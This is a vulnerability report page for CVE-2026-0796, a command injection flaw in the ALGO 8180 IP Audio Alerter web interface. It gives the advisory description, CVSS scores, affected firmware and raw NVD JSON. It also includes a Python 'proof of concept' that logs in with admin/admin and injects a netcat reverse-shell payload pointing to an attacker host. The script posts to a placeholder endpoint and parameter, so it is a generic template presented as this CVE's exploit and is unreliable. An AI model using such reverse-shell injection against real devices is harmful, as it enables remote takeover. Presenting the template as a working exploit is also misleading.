Security Vulnerability Report
中文
CVE-2026-0796 CVSS 8.8 HIGH

CVE-2026-0796

Published: 2026-01-23 04:16:08
Last Modified: 2026-02-13 20:43:52

Description

ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability. The specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28322.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter 固件版本 < 最新安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0796 PoC - ALGO 8180 IP Audio Alerter Command Injection Note: This is a proof-of-concept for educational purposes only. """ import requests import sys def exploit(target_ip, target_port=80, username="admin", password="admin", lhost="attacker_ip", lport=4444): """ Exploit CVE-2026-0796: ALGO 8180 Command Injection Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) username: Valid username for authentication password: Valid password for authentication lhost: Attacker listening IP for reverse shell lport: Attacker listening port for reverse shell """ base_url = f"http://{target_ip}:{target_port}" # Authentication session = requests.Session() login_data = { "username": username, "password": password } print(f"[*] Authenticating to {base_url}") response = session.post(f"{base_url}/login", data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Command injection payload - reverse shell # The vulnerable parameter depends on specific endpoint payload = f"; nc -e /bin/sh {lhost} {lport} #" # Vulnerable endpoint - adjust based on actual device configuration exploit_data = { "param_name": payload, # Vulnerable parameter "submit": "Apply" } print(f"[*] Sending exploit payload to {base_url}/vulnerable/endpoint") print(f"[*] Payload: {payload}") try: response = session.post( f"{base_url}/vulnerable/endpoint", data=exploit_data, timeout=10 ) print("[+] Exploit sent - check for reverse shell") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [username] [password]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] if len(sys.argv) > 2 else "admin" pwd = sys.argv[3] if len(sys.argv) > 3 else "admin" exploit(target, username=user, password=pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0796", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:07.523", "lastModified": "2026-02-13T20:43:52.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28322."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en la interfaz de usuario web de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la interfaz de usuario basada en web. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28322."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-018/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}